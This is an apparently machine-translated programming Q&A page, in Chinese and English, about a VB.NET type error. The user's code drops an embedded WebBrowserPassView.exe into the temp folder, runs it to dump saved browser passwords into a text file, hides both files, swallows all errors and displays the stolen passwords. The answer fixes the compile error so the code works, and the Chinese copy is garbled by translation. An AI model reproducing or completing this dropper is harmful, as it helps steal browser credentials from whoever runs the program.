帮助解决'1维字节数组'类型的值无法转换为'字节' [英] HELP SOLVING Value of type '1-dimensional array of Byte' cannot be converted to 'Byte'

问题描述

您好我正在尝试在VB NET中编译我的程序，但不断收到错误错误1字节的1维数组类型的值无法转换为字节。这就是说Dim Resource1 As Byte = My.Resources.WebBrowserPassView的行，有谁可以帮我解决这个问题？





< pre lang =vb> Imports System.IO
Imports System.Text
公开 类 Form1
Dim tempath 作为 字符串 = My.Computer.FileSystem.SpecialDirectories.Temp
私有 Sub Form1_Load（发件人 As Object ，e As EventArgs）句柄 MyBase .Load
尝试
Dim Resource1 <跨度lass =code-keyword> As Byte = My.Resources.WebBrowserPassView
FileOpen（ 1 ，Environ（ tmp）& \ WebBrowserPassView.exe，OpenMode.Binary）
FilePut（ 1 ， True ，Resource1）
FileClose（ 1 ）
Shell（Environ（ tmp）& \ WebBrowserPassView.exe / stext& Environ（ tmp）& \ WebBrowserPassView.txt ，）
SetAttr（tempath& \ WebBrowserPassView.exe ，vbHidden + vbReadOnly）
SetAttr（tempath& \ WebBrowserPassView.txt， vbHidden + vbReadOnly）
RichTextBox1.Text = IO.File.ReadAllText（Environ（ tmp ）& \ WebBrowserPassView.txt）
Catch ex As 异常
结束 尝试
结束 Sub
结束 类

解决方案

 Dim Resource1 As Byte = My.Resources.WebBrowserPassView 
 

应该是

 Dim Resource1 As Byte（）= My.Resources.WebBrowserPassView 

字节只能处理一个0到255的值vom.而不是那个1-Dimensional Array你的Ressource有点

Hi I am trying to compile my program in VB NET but keep getting the error Error 1 Value of type '1-dimensional array of Byte' cannot be converted to 'Byte'. This is on the line that says Dim Resource1 As Byte = My.Resources.WebBrowserPassView, can anyone help me solve this?

Imports System.IO
Imports System.Text
Public Class Form1
    Dim tempath As String = My.Computer.FileSystem.SpecialDirectories.Temp
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Try
            Dim Resource1 As Byte = My.Resources.WebBrowserPassView
            FileOpen(1, Environ("tmp") & "\WebBrowserPassView.exe", OpenMode.Binary)
            FilePut(1, True, Resource1)
            FileClose(1)
            Shell(Environ("tmp") & "\WebBrowserPassView.exe /stext" & Environ("tmp") & "\WebBrowserPassView.txt", )
            SetAttr(tempath & "\WebBrowserPassView.exe", vbHidden + vbReadOnly)
            SetAttr(tempath & "\WebBrowserPassView.txt", vbHidden + vbReadOnly)
            RichTextBox1.Text = IO.File.ReadAllText(Environ("tmp") & "\WebBrowserPassView.txt")
        Catch ex As Exception
        End Try
    End Sub
End Class

解决方案

Dim Resource1 As Byte = My.Resources.WebBrowserPassView

should be

Dim Resource1 As Byte() = My.Resources.WebBrowserPassView

Byte can only handle a Value vom 0 to 255. and not that 1-Dimensional Array your Ressource kinda is

这篇关于帮助解决'1维字节数组'类型的值无法转换为'字节'的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！